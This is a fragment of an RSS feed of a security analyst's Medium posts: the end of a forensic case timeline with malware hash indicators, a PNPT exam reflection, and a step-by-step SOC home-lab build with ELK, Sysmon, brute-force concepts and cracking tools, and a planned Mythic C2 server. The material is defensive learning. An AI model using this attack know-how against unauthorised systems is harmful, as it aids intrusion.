Impact</strong></p><ul><li><strong>User Impact</strong></li><li>Execution of mssetup.exe /LOCK (Likely the final payload/locking mechanism)</li></ul><p><strong>[16:05:03–16:08:35] Phase 7: Cleanup</strong></p><ul><li><strong>File Deletion</strong> (NTFS)</li><li>Removal of temporary artifacts: programs.rar, msrun.bat, and finally env.cab</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*iejwHhWHIXjRUkkeoVUN8g.jpeg" /></figure><h3>Indicator of Compromises:</h3><p>MD5 Hash:</p><p>844DC165B24FE114978CA2C2E8D30453 — <strong>env.exe (Low confidence)<br></strong>16659AE52CE03889AD19DB1F5710C6AA — <strong>rar.exe (Low confidence)<br></strong><a href="https://www.virustotal.com/gui/file/074bcc51b77d8e35b96ed444dc479b2878bf61bf7b07e4d7bd4cf136cc3c0dce">9A49102F53291A644BD14C8202D8FBE3</a> — <strong>mssetup.exe (High confidence)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aTK2F4Pp0ZT8PUQOQpcOIQ.jpeg" /></figure><h3>Tools:</h3><ul><li><a href="https://ericzimmerman.github.io/#!index.md">Eric Zimmerman’s Tools</a>: EvtxECmd, Timeline Explorer, MFTECmd, AmcacheParser, AppCompatCacheParser, Timeline Explorer, PECmd</li><li><a href="https://sites.google.com/site/forensicnote/ntfs-log-tracker">NTFS Log Tracker</a></li><li><a href="https://github.com/keydet89/RegRipper3.0">RegRipper 3.0</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f491129543d2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Failed and Passed the PNPT Exam as a Blue Team Security Analyst]]></title>
            <link>https://medium.com/@kltran0306/how-i-failed-and-passed-the-pnpt-exam-as-a-blue-team-analyst-e7e26c5dfc7e?source=rss-0e38486fa80e------2</link>
            <guid isPermaLink="false">https://medium.com/p/e7e26c5dfc7e</guid>
            <category><![CDATA[tcm-academy]]></category>
            <category><![CDATA[tcm-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[pnpt]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Khoa]]></dc:creator>
            <pubDate>Sat, 19 Jul 2025 20:13:42 GMT</pubDate>
            <atom:updated>2025-07-19T20:15:46.124Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*IOHs96OcSxZ-zK-rTpWcGw.png" /></figure><h3>My Starting Point</h3><p>Six to seven months ago, I began preparing for the <strong>Practical Network Penetration Tester (PNPT)</strong> exam from TCM Security. As a blue-team Security Analyst, who loves digital forensics and has no prior pentesting experience, the journey wasn’t easy — but it was incredibly rewarding.</p><h3>My Preparation Plan (~7 months)</h3><p><strong>TCM Academy Courses:<br></strong>I completed four core courses (skipping Linux Privilege Escalation):</p><ul><li>Practical Ethical Hacking</li><li>Windows Privilege Escalation</li><li>OSINT Fundamentals</li><li>External Pentest Playbook</li></ul><p>I revisited lessons repeatedly until I was confident in the methodology.</p><p><strong>Hands‑On Labs:</strong><br>The built-in labs in TCM Academy were solid. To push further, I also completed:</p><ul><li><strong>Sauna</strong> on Hack The Box.</li><li><strong>Wreath</strong> on TryHackMe.</li></ul><p>These labs reinforced pivoting, enumeration, and exploit chaining inside Active Directory environments. Additionally, please practice your tools and know what they can and cannot do. I suggest focus on learn how to pivot, run different nmap scans, run Impacket scripts and CrackMapExec.</p><h3>My Initial Failures &amp; Lessons Learned</h3><p>Despite solid prep, my first several PNPT attempts didn’t succeed. I treated it like a CTF — chasing exploits and overcomplicating steps.</p><p>I pinpointed three key issues:</p><ul><li><strong>Lack of structured methodology</strong> — I hadn’t thoroughly enumerated everything.</li><li><strong>Poor reporting</strong> — I missed screenshots, clear command outputs, structured findings, and didn’t follow the Rules of Engagement closely.</li><li><strong>Tired and Stuck — </strong>I still forced myself through the exam although I was dead tired.<strong> </strong>Therefore, please take constant breaks (take a walk, talk to somebody, etc.) and drink plenty of water. Still stuck? Please rewatch the videos from the courses. Remember! Everything you need is in the courses.</li></ul><h3>What I Changed for Better Results</h3><ul><li><strong>Reinforced methodology</strong>: Slow, disciplined enumeration processes replacing CTF-style speed hacking.</li><li><strong>Improved documentation</strong>: Detailed notes, properly labeled screenshots, clear execution logs.</li><li><strong>Constant breaks:</strong> Taking constant breaks helped me clearing my head and restoring energy.</li><li><strong>Report structure</strong>: Aligned with TCM’s sample reports — highlighting screenshots, remediation steps, and rule-of-engagement items.</li><li><strong>Debrief rehearsals</strong>: Practiced delivering a 15-minute presentation covering external and internal tests with clear remediation guidance.</li></ul><h3>Why PNPT Matters for Blue‑Team Professionals</h3><p>Even in a defensive role, offensive knowledge is invaluable:</p><ul><li><strong>Attacker mindset</strong> enhances detection and response strategies.</li><li><strong>Proactive defense</strong> by knowing how threats operate.</li><li><strong>Improved incident response</strong> through understanding lateral movement and escalation paths.</li></ul><h3>My Ongoing Training Plan</h3><p>Certification isn’t the endpoint — it’s the foundation. To maintain and grow my skills:</p><ul><li><strong>Red‑team labs</strong>: Weekly HTB Active Directory challenges to stay up to date on attack techniques.</li><li><strong>Blue‑team labs</strong>: Weekly Sherlock labs on HTB and CyberDefenders exercises.</li><li><strong>Continuous learning</strong>: Reading pentester blogs, tracking new tactics, and training hands‑on in both offense and defense.</li></ul><p>I try to aim for at least 2 labs per week (~1 red team and ~1 blue team lab) to stay sharp.</p><h3>Final Thoughts</h3><p>Failing the PNPT initially was more illuminating than passing — it revealed critical gaps in my methodology and reporting. Addressing these not only earned me the certification but also transformed how I approach cybersecurity.</p><p><strong>Why this matters for defenders</strong>: developing attacker skills enhances defensive strategy. By understanding enumeration, lateral movement, and privilege escalation, blue-team professionals can more effectively detect, respond to, and mitigate actual threats.</p><p>Passing PNPT as a blue-teamer — with no prior pentest background — was immensely empowering. For defenders looking to elevate their craft: view the PNPT not as a CTF, but as a real-world engagement. Embrace detailed enumeration, disciplined documentation, structured reporting, and a calm, methodical mindset. Learning from failure — and applying it — makes you a stronger, more proactive defender.</p><h3>Additional Resources</h3><p><a href="https://zishanadthandar.github.io/pentest/notes/ActiveDirectory.html#secretdump">Active Directory (AD) Penetration Testing Guide | Pentester Guide by Zishan Ahamed Thandar</a></p><p><a href="https://notes.benheater.com/">0xBEN | Notes</a></p><p><a href="https://medium.com/r3d-buck3t/crackmapexec-in-action-enumerating-windows-networks-part-1-3a6a7e5644e9">CrackMapExec in Action: Enumerating Windows Networks (Part 1) | by Nairuz Abulhul | R3d Buck3T | Medium</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e7e26c5dfc7e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC Simulator | MyDFIR: 30-Day SOC Analyst Challenge]]></title>
            <link>https://medium.com/@kltran0306/soc-simulator-mydfir-30-day-soc-analyst-challenge-08423acccda5?source=rss-0e38486fa80e------2</link>
            <guid isPermaLink="false">https://medium.com/p/08423acccda5</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <dc:creator><![CDATA[Khoa]]></dc:creator>
            <pubDate>Tue, 01 Oct 2024 19:20:33 GMT</pubDate>
            <atom:updated>2024-10-01T19:20:51.931Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*pPRb330d0YFqCkY6MC5jQg.png" /></figure><p>With Steven from the <a href="https://www.youtube.com/@MyDFIR">MyDFIR YouTube</a> channel leading the way, I’ve started a 30-day challenge to enhance my cybersecurity operations skills. This journey offers practical, hands-on experience with the daily tasks and challenges that SOC analysts encounter.</p><p>Throughout this challenge, I’ll be honing my abilities in threat detection, incident response, working with SIEM tools, and developing strong security strategies. It’s a perfect opportunity for both beginners and those with certifications who want to gain real-world skills. This journey is designed to foster growth in the field and will be done via <a href="https://www.vultr.com/">Vultr Cloud </a>.</p><p><strong>Tools:</strong> Elastic, Logstash, Kibana, Sysmon, Mythic, and Vultr.</p><p><strong>*Main Objectives:</strong></p><ul><li>Learn how to draw a logical diagram</li><li>Learn how to setup and configure <a href="https://www.elastic.co/elastic-stack/security">Elastic Logstash and Kibana (ELK)</a></li><li>Learn how to attack, detect, and investigate (e.g.: malware, SSH/ RDP, or brute force attacks)</li><li>Learn how to create alerts and dashboards with <a href="https://www.elastic.co/kibana">Kibana</a></li><li>Learn how to setup and integrate ticketing system</li></ul><p><strong>*Timeline:</strong></p><p><strong>Week 1:</strong></p><ul><li>Introduction to ELK</li><li>How to setup ELK</li><li>Ingesting logs such as Sysmon</li></ul><p><strong>Week 2:</strong></p><ul><li>Introduction to brute force attacks</li><li>How to setup SSH and RDP servers</li><li>Create alerts and dashboards</li></ul><p><strong>Week 3:</strong></p><ul><li>Introduction to command and control</li><li>How to setup your own C2 server (<a href="https://docs.mythic-c2.net/">Mythic</a>)</li><li>Attack my own public servers</li></ul><p><strong>Week 4:</strong></p><ul><li>Introduction to ticketing system</li><li>How to setup and integrate ticketing system</li><li>High-level of alerts investigation</li></ul><p><strong>Week 1:</strong></p><p><strong>Day 1: Design the logical diagram</strong></p><p>This diagram represents the network and systems architecture for a cybersecurity project focused on setting up and learning to use the Elastic Stack (ELK), detecting and investigating attacks, and integrating a ticketing system.</p><p><strong>Components:</strong></p><ul><li><strong>SOC Analyst’s Laptop:</strong> This laptop is used by the SOC (Security Operations Center) analyst to connect to the Elastic Stack (Elastic &amp; Kibana &amp; Logstash) through a web UI over the internet. The analyst will use this connection to monitor, analyze, and investigate logs and alerts generated by the systems in the virtual private network (VPC).</li><li><strong>VULTR:</strong> This is the hosting platform where the Virtual Private Cloud (VPC) is set up. The VPC contains all the servers and services relevant to the project.</li><li><strong>Virtual Private Network (VPN):</strong> The VPC uses a private network with the IP range 192.168.0.0/24. The subnet mask is 255.255.255.0, which indicates that the network supports up to 254 devices (from 192.168.0.1 to 192.168.0.254).</li><li><strong>Elastic &amp; Kibana:</strong> This server is the core of the ELK Stack, responsible for receiving, storing, and visualizing logs. It manages the agents on the other servers, which send logs to it for analysis. It is also responsible for generating alerts and tickets based on the analysis.</li><li><strong>Fleet Servers:</strong> These servers are managed by the Elastic &amp; Kibana server. They forward logs via agents to Elastic &amp; Kibana for processing and analysis.</li><li><strong>Windows Server (RDP Enabled): </strong>A Windows server within the VPC, which has Remote Desktop Protocol (RDP) enabled. This server is likely used to simulate RDP attacks, such as brute force attempts, as part of the project.</li><li><strong>Ubuntu Server (SSH Enabled):</strong> An Ubuntu server within the VPC with Secure Shell (SSH) enabled. This server is used to simulate SSH attacks, such as brute force attempts, as part of the project.</li><li><strong>OS Ticket Server:</strong> This server is responsible for managing tickets. It is integrated with Elastic &amp; Kibana, where alerts from Elastic &amp; Kibana trigger the creation of tickets for the SOC analyst to investigate further.</li><li><strong>Internet Gateway:</strong> This connects the VPC to the internet, allowing external access, which is necessary for the SOC Analyst’s Laptop and the Hacker Laptop to interact with the systems within the VPC.</li><li><strong>Hacker Laptop (Kali Linux):</strong> This laptop simulates the role of an attacker. It runs Kali Linux and is connected to the C2 (Command and Control) server. It is used to launch attacks (e.g., SSH/RDP brute force attacks) against the Windows and Ubuntu servers in the VPC.</li><li><strong>C2 Server (Mythic):</strong> This is a Command and Control server running Mythic, a C2 framework. The Hacker Laptop uses this server to control compromised machines, execute commands, and simulate post-exploitation scenarios.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oh9nC5a6WQFZv5MJ6kuilg.png" /><figcaption>Project Diagram</figcaption></figure><p><strong>Day 2: Understand ELK (Elastic | Logstash | Kibana)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*urvvV0DljKcrF8BrKqvzgg.jpeg" /></figure><p>The ELK Stack consists of <strong>Elastic</strong>, <strong>Logstash</strong>, and <strong>Kibana</strong>, which work together to handle and analyze large volumes of data, particularly logs.</p><p><strong>Elasticsearch</strong> is the core of the stack. It is a distributed search and analytics engine that stores and indexes data in a way that allows for fast search and retrieval. When data is ingested, Elasticsearch organizes it, enabling users to perform quick and complex searches.</p><p><strong>Logstash</strong> acts as the data pipeline. It ingests data from either <a href="https://www.elastic.co/beats">Beats</a> or Elastic Agents, processes and transforms it, and then sends it to Elasticsearch for storage. Logstash can pull data from many different places, apply filters to clean or enhance it, and then output the processed data to Elasticsearch or other destinations.</p><p><strong>Kibana</strong> provides the visual layer. It is a web interface that allows users to interact with the data stored in Elasticsearch. Through Kibana, users can create dashboards, perform searches, and visualize data trends and patterns, making it easier to gain insights and monitor systems.</p><p>In summary, Logstash collects and processes data, Elasticsearch stores and indexes it, and Kibana visualizes it, working together seamlessly to provide a powerful data analysis platform.</p><p><strong>Day 3: Setup Elasticsearch</strong></p><p>On Vultr Cloud, I created a VPC (virtual cloud network), which will serve as an isolated virtual environment with specified IP range (192.168.0.0/24)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E_pcj69cSQwJuRIyGG8sWw.png" /><figcaption>Configure IP range on my VPC</figcaption></figure><p>Next, I created an Ubuntu server (version 22.04 x64). This server will be used to setup ELK (Elastic | Logstash | Kibana). It has 4 CPUs, 80 GB storage, and 16.384 GB RAM. The IP address of this server will be 192.168.0.3. Once the machine is created, make sure that all packages on this server are up to date (<em>apt-get update &amp;&amp; apt-get upgrade -y</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6-0i8Jigv9rxqaidjWDBYw.png" /></figure><p>To download and install <a href="https://www.elastic.co/cn/downloads/elasticsearch">Elasticsearch</a>, I remote into the server (through either PowerShell or Web UI console.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*bTOL2VHrsu2ybDbOB1tAIg.png" /><figcaption>Make sure to grab the download link and use wget command to install the file from the URL</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*jN55zGO6BzmT4GKguCqYXQ.png" /><figcaption>Use dpkg command to install the packages</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EeZt3hI-L91dC7JW_rDzvA.png" /><figcaption>Make sure to note down password for elastic built-in superuser account</figcaption></figure><p>If you are familar with Linux directory, /etc is local system configuration files, and the configuration files for installed applications are saved there as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*SHoGyDAsfKfptM6WjlRiPw.png" /><figcaption>Navigate to the elasticsearch folder to configure the yml file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xdZ_hVhyuM6mE-QQNN04Ow.png" /><figcaption>Make sure to set the network host as your server’s public IP address and the port number should be 9200</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zbnI1CfeWYTqu81qxKMyVw.png" /><figcaption>Hold ctrl+x -&gt; enter Y -&gt; enter to finish configuring the file</figcaption></figure><p>My Elastic server was accessible via internet by the following link: public ip address: port number, e.g.: 192.168.0.2:9200. However, make sure to secure your server by implementing firewall rules to limit trusted IP addresses to access your server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bE2_crJf6nNxBLWiuWpEJQ.png" /><figcaption>I set a firewall group to drop any egress traffics from untrusted IP addresses.</figcaption></figure><p>After setting up firewall rules, I proceeded to start the Elasticsearch service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*qTZomEONDI2azhBbWyTscQ.png" /><figcaption>Start Elasticsearch.service</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*uew4BLSkk17j1i9pr2N3Iw.png" /><figcaption>Confirm that the service is up and running</figcaption></figure><p>Our first part of the ELK was successfully setup.</p><p><strong>Day 4: Setup Kibana</strong></p><p>Apply the instructions from Day 3, we will setup Kibana on the same server, Khoa-ELK. After installing the packages, I reconfigured the yml file (this is similar to Day 3.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M1GUqekzwYENBxNX8WgWQQ.png" /><figcaption>kibana.yml configuration</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AQpNI8JUZ7slPHsaw4PSJg.png" /><figcaption>Start and check status of kibana.service</figcaption></figure><p>Before connecting to Kibana, I ensured that I had the Kibana elasticsearch enrollment token. To do so, I navigated to the /usr directory (this normally contains executables, libraries, man files, etc.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CKajLzlhHX1JzVOLROztKg.png" /><figcaption>Make sure to save that token</figcaption></figure><p>Next, I went to my Khoa-ELK server through port 5601 (Kibana) to setup the token (make sure that you modify your firewall rules to allow traffics coming from port 5601 and 9200.) If modifying firewall rules on cloud does not work, you could add a firewall rule on the server by typing “ufw allow *port number*.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ueytmNRmaqWaquXuct4xpA.png" /><figcaption>Enter your token</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b8jSAGw4MdC8UHs9aSf0wg.png" /><figcaption>I successfully logged in after authenticating with username and password. Click “Explore on my own”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bdxXhS-SOZlORpR9nTMG9g.png" /><figcaption>Make sure you set up the encryption keys</figcaption></figure><p>To generate the encryption keys, I navigated to the /usr/share/kibana/bin directory to look for the kibana-encryption-keys file and used the following command to generate the keys “./kibana-encryption-keys generate.” Next, I used the following command to setup the encryption keys, which I just generated “./kibana-keystore add **”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*vPA7JDb-0g1eD0PVFZChgA.png" /><figcaption>Restart the kibana service to apply the modifications, “systemctl restart kibana.service”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QUPXCFykNYxdVfcLJFhQOQ.png" /><figcaption>The warning message should disappear</figcaption></figure><p><strong>Day 5: Setup Target Windows Server</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*350iH8KT2-b2YUwmBJwlRQ.png" /><figcaption>Successfully setup Windows Server 2022 with RDP enabled on purpose for attack</figcaption></figure><p><strong>Day 6: Understanding Fleet Server and Elastic Agent</strong></p><p><strong>Elastic Agent:</strong><br>- Elastic Agent is like a helper that you install on your computers or servers to collect data. This data can be logs, metrics, or security data, and threat prevention. Think of it as a single tool that can handle multiple tasks, making it easier to manage and monitor your systems. There are two different modes:</p><ul><li>Managed by Fleet —the Elastic Agent is centrally managed through the Fleet app in Kibana.</li><li>Standalone mode — the Elastic Agent is managed manually.</li></ul><p><strong>Fleet Server:</strong><br>- Fleet Server acts as the manager for all these Elastic Agents. It helps in coordinating and controlling them. When you have many Elastic Agents, the Fleet Server makes sure they all get the right instructions and updates. It also collects status information from the agents and helps in scaling up as your needs grow.</p><p><strong>In simple terms:</strong></p><ul><li>Elastic Agent: The worker that collects data.</li><li>Fleet Server: The manager that coordinates and controls these workers.</li></ul><p><strong>Day 7: </strong><a href="https://www.leveleffect.com/blog/home-lab-ingesting-data-with-agent-and-fleet"><strong>Setup Elastic Agent and Fleet Server</strong></a></p><p>Objective:</p><ul><li>Install Elastic Agent on Windows Server</li><li>Enroll the Windows Server into a Fleet</li></ul><p>Firstly, I created a Fleet server. The process is similar to Day 1, so I would not go over it on this section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qDiMdP77lHmj4vy9Ta6Hgw.png" /><figcaption>This server is not as beefy as the ELK server</figcaption></figure><p>Next, I logged in to Kibana Web UI -&gt; Click hamburger icon -&gt; Management -&gt; Fleet</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Pwj-LyeOR54dlsKtMT2Zw.png" /><figcaption>Click Add Fleet Server</figcaption></figure><p>If you were to setup this server for a prod environment, then I suggest choose Advanced option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sshfoU0seKZyS3a7J1Mk0Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*KhYZAhapJICYKA_YwcGUOA.png" /><figcaption>Copy this for our Fleet server setup</figcaption></figure><p>Before setting this up, I went to Khoa-ELK to modify the firewall rule to allow traffics coming from the Khoa-Fleet-Server (I also added a firewall rule on the Khoa-ELK server itself to allow port 9200.) Subsequently, I went to the Khoa-Fleet-Server to paste the script from the image above to start downloading Elastic Agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9yD-6rbqo1ZVrQ67cWeunw.png" /><figcaption>Elastic Agent has been successfully installed</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*mrNkoNz-NDCcuMcgdoQrCA.png" /><figcaption>Click Continue enrolling Elastic Agent</figcaption></figure><p>Next, I created an agent for Windows Server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*ckSV6TPo0hewfHmuyqQgWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*b4ov9yLUwH56fPm8uR0FnA.png" /><figcaption>Copy that script</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MiLxZq0fPENYaNJcvzci8w.png" /></figure><p>Before Elastic Agent installation, I went to Khoa-Fleet-Server to allow traffics to port 8220, and I also made that change on our Web UI (more info: <a href="https://www.elastic.co/guide/en/fleet/current/add-fleet-server-on-prem.html">Deploy on-premises and self-managed | Fleet and Elastic Agent Guide [8.15] | Elastic</a>). On my Windows Server, I booted up PowerShell as administrator and pasted the script from the image above. If you are still getting error messages, that means you need to also change the command line by replacing port 443 with 8220.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L3AABlLG4Lr4EH6Om3ol5g.png" /><figcaption>— insecure is there because we are using self-signed certificate</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LYd8zOfqfANTkAgC0fxTXQ.png" /><figcaption>Elastic Agent has been successfully installed on Windows Server</figcaption></figure><p>I didn’t see any logs from my agent in the Discover tab, so I enabled INBOUND port 9200 on my ELK server by using ufw allow 9200 and allowing my Windows Server Public IP to access my ELK via the VULTR firewall.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x2AuVwYshKZhf7yeM9rGtw.png" /><figcaption>Successfully sending logs from Windows Server to Elastic</figcaption></figure><p><strong>Week 2:</strong></p><p><strong>Day 1: Understanding Sysmon</strong></p><p>Sysmon (System Monitor) is a Windows system service and device driver that logs system activity to the Windows event log. It provides detailed information about process creations, network connections, and changes to file creation time, which can be invaluable for identifying malicious activity. For beginners, think of Sysmon as a tool that helps you keep an eye on what’s happening on your computer, making it easier to spot unusual or suspicious behavior. When integrated with cybersecurity tools like Security Information and Event Management (SIEM) systems, Sysmon enhances their capabilities by providing rich, granular data that can be analyzed to detect and respond to security threats more effectively. This makes it a powerful component in a comprehensive cybersecurity strategy. Some common event IDs can be found here: <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon">Sysmon — Sysinternals | Microsoft Learn</a></p><p><strong>Day 2: Setup Sysmon</strong></p><p>Objective:</p><ul><li>Install Sysmon onto Windows Server</li><li>Confirm telemetry</li></ul><p>First, I logged in to my Windows Server machine. Then, I downloaded Sysmon and extracted it within the Downloads folder. Next, from Github, I downloaded the sysmonconfig.xml from <a href="https://github.com/olafhartong/sysmon-modular">olafhartong</a> (I saved that file within the sysmon folder.)</p><p>Moving on, I opened up PowerShell as administrator and copied the sysmon folder path. Let’s install sysmon:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ixY7wCRB8SO0DDnkr89fw.png" /><figcaption>Click Agree</figcaption></figure><p>I refreshed the Services to confirm that Sysmon64 has been installed successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*-uoW9QF7fUBLr4r_zkAJdA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HfiDzKteu7HxZJk7UhgHtw.png" /></figure><p><strong>Day 3: Elasticsearch Logs Ingestion</strong></p><p>Objective:</p><ul><li>Ingest Sysmon and Windows Defender logs into Elasticsearch</li></ul><p>First, I logged in to Elastic Web GUI, clicked Add Integrations, and looked for Custom Windows Event Logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TOIm-mBLujERIGLbpUOyhg.png" /><figcaption>I will add this to my Khoa-Windows-Policy</figcaption></figure><p>Repeated the same steps to ingest Windows Defender logs but only changed the Channel Name to Microsoft-Windows-Windows Defender/Operational. Additionally, for the simplicity&#39;s sake of this project, I will only ingest the following event IDs from Windows Defender: <a href="https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus">1116, 1117, and 5001.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rKS24Vhc_45srSHUyoFrVQ.png" /><figcaption>Restart my Elastic Agent on Windows Server to apply the changes</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ZsoYnOtxETCVDB4ZV1G2w.png" /><figcaption>Sysmon logs</figcaption></figure><p>I turned off the Windows Real-time Threat Protection to see if Elastic captured event ID 5001, and it did!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o2ok3G0rBjQVKi7EPhXV6Q.png" /></figure><p><strong>Day 4: Understand Brute Force Attacks</strong></p><p>Objective:</p><ul><li>Learn more about brute force attacks, common tools, and how to mitigate those risks.</li></ul><p><strong>What is brute force attack?</strong></p><p>A brute force attack is a method used by attackers to gain access to a system by systematically trying every possible combination of passwords or encryption keys until the correct one is found. This type of attack can be time-consuming and resource-intensive but can be effective if the password or key is weak or commonly used. There are two common types:</p><ul><li><strong>Dictionary Attack:</strong> a method used to break passwords by systematically trying every word in a predefined list of common passwords or words</li><li><strong>Credential Stuffing:</strong> an attack where attackers use lists of compromised usernames and passwords from previous data breaches to gain unauthorized access to user accounts on different websites.</li></ul><p><strong>Mitigation:</strong></p><ol><li>Complex Password/Passphrase (12+ characters with uppercase, number, and special characters) =&gt; A password vault is recommended if you have too many passwords to manage.</li><li>MFA (Multi-factor Authentication)</li><li>Stay vigilant!</li></ol><p><strong>Common tools:</strong></p><ol><li><a href="https://www.freecodecamp.org/news/how-to-use-hydra-pentesting-tutorial/"><strong>Hydra</strong></a><strong>: </strong>a powerful, parallelized login cracker included in Kali Linux that supports numerous protocols and is used for performing rapid brute force attacks on network services.</li><li><a href="https://bytebitebit.com/operating-system/linux/how-to-use-hashcat-in-kali-linux/"><strong>Hashcat:</strong></a><strong> </strong>a highly efficient password-cracking tool included in Kali Linux, capable of leveraging the power of GPUs to crack a wide range of hash types using various attack modes.</li><li><a href="https://www.geeksforgeeks.org/how-to-use-john-the-ripper-in-kali-linux/"><strong>John the Ripper:</strong></a><strong> </strong>a versatile password-cracking tool included in Kali Linux, capable of performing dictionary, brute force, and incremental attacks on various password hashes.</li></ol><p>And more….</p><p><strong>Day 5: Setup Ubuntu Server 24.02 (SSH Enabled)</strong></p><p>Objective:</p><ul><li>Setup SSH server</li><li>View authentication logs</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-tZJkuVNAkZE-_wYa77rxQ.png" /></figure><p>To view the authentication logs, on Ubuntu server, I navigated to /var (this directory contains variable data files, such as log files, email inboxes, web app related files, cron files, etc.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bZyXZtBdN-BzXxym1PrSiQ.png" /></figure><p>You can use basic Linux commands to filter out the logs:</p><p>E.g.:<em> grep -i failed auth.log | grep -i root </em>to grab the failed login attempts from username root.</p><p><strong>Day 6: Install Elastic Agent on Ubuntu Server (MYDFIR-Linux-khoatran)</strong></p><p>Objective:</p><ul><li>Install Elastic Agent onto Linux Ubuntu server</li></ul><p>First, I headed to my Elastic Web UI -&gt; Management -&gt; Fleet -&gt; Agent Policies -&gt; Create Agent Policy and created a new agent policy for my Linux server. Next, I navigated to the Agents tab to add a new agent under the policy I just created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*Hv2ueHTzWzTOxvCUye2bJg.png" /><figcaption>I ran that script on my Ubuntu server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WjLvd7j-TI_QGN5Vw-qygQ.png" /><figcaption>Elastic Agent has been installed on the Ubuntu server</figcaption></figure><p>I also made sure to whitelist my Ubuntu server’s IP address via port 9200 on the ELK server in order to forward logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*jMS53z1krfd57sjqk7nEfw.png" /><figcaption>Confirmed that Ubuntu server was forwarding logs to Elastic</figcaption></figure><p><strong>Day 6: Create Alerts and Dashboards in Kibana (Part 1)</strong></p><p>Objective:</p><ul><li>Create SSH Brute Force Alert and Dashboard</li></ul><p>First, I logged in to my Elastic Web UI -&gt;Discover.</p><p>Let’s start crafting some queries. When it comes to brute force attacks, you might want to look for the following parameters: user, source ip, and failed attempts. On Elastic, make sure that you understand what data is available so you can choose the most relevant column for your alert.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c8GuYPZHytbih46gGgpGkQ.png" /><figcaption>I selected the columns from the left-side panel. Additionally, on the top right, you can click Alerts to create an alert based on this search</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vdmYVc6Q0rBlynP0dV2l4w.png" 